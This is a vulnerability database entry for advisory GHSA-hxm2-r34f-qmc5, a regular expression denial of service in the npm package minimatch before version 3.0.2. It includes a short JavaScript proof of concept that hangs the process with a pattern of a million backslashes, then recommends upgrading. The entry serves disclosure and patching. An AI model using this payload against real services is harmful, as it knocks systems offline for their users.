GHSA-hxm2-r34f-qmc5

    Dashboard / Vulnerabilities / GHSA-hxm2-r34f-qmc5

    GHSA-hxm2-r34f-qmc5

    Published: 9 Oct 2018Last Modified: 8 Nov 2023

    Summary: Regular Expression Denial of Service in minimatch

    Details: Affected versions of `minimatch` are vulnerable to regular expression denial of service attacks when user input is passed into the `pattern` argument of `minimatch(path, pattern)`. ## Proof of Concept ```js var minimatch = require(“minimatch”); // utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; } var exploit = “[!” + genstr(1000000, “\\”) + “A”; // minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ``` ## Recommendation Update to version 3.0.2 or later.

    Affected packages

    Package

    Name: minimatch

    Purl: pkg:npm/minimatch

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.0.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-hxm2-r34f-qmc5 | CVE-DB